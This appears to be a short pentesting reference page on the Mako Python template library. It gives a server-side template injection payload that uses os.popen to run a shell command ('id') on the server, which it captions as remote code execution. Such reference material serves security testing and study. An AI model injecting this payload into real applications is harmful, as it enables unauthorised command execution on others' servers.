Mako

Mako is a Python template library that compiles into Python modules for high performance. It uses a non-XML syntax inspired by Django, Jinja2, Cheetah, and others. Mako functions as an embedded Python language, offering a simple, flexible model with strong support for Python's calling and scoping semantics.

SSTI

<%
import os
x=os.popen('id').read()
%>
${x}
Figure 1: Achieving RCE through a SSTI flaw on a Mako templating engine.

Last updated

Was this helpful?